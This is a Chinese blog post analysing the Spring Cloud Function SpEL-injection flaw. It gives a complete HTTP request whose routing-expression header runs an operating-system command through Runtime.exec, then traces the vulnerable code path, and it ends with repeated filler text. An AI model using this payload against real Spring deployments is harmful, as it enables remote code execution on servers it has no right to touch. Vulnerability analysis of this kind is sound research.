Spring Cloud FunctionSpEL 表达式注入漏洞分析
2022-12-7 17:31:32 Author: 九河下稍的安全笔记(查看原文) 阅读量:12 收藏

构造payload POST /functionRouter HTTP/1.1 Host:127.0.0.1:8080 spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("cmd /c calc") Content-Type:application/x-www-form-urlencoded Content-Length: 5

xxx

进入FunctionController类中form方法 FunctionWrapper wrapper = wrapper(request); .... return FunctionWebRequestProcessingHelper.processRequest(wrapper, wrapper.getParams(), false);

进入FunctionInvocationWrapper 类中processRequest方法 FunctionInvocationWrapper function = wrapper.getFunction(); getFunction获得SimpleFunctionRegistry ... Object result = function.apply(input);

进入SimpleFunctionRegistry类中apply方法 Object result = this.doApply(input);

在SimpleFunctionRegistry类中doApply方法中 获得RoutingFunction并进入apply方法

在SimpleFunctionRegistry类中执行route方法 FunctionInvocationWrapper function ... function = this.functionFromExpression((String)message.getHeaders().get("spring.cloud.function.routing-expression"), message); 获取spring.cloud.function.routing-expression值带入到functionFromExpressionfunction方法中

在functionFromExpressionfunction中 创建Expression expression.getValue 执行SpEL表达式

注:此文章只用于漏洞研究,切勿用于违法用途。因滥用产生的一切后果与本公众号无关。

凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了凑字数凑字数还要凑一点字数麻了麻了麻了


文章来源: http://mp.weixin.qq.com/s?__biz=MzU5NjQ1NzUxOQ==&mid=2247484743&idx=1&sn=5c88e9861ed3f5b4f6e83f734cd95910&chksm=fe632407c914ad11d927171ef426b6eb6aaeb48adbb29d1887674e8b3bce84c5abcd9347bd17#rd
如有侵权请联系:admin#unsafe.sh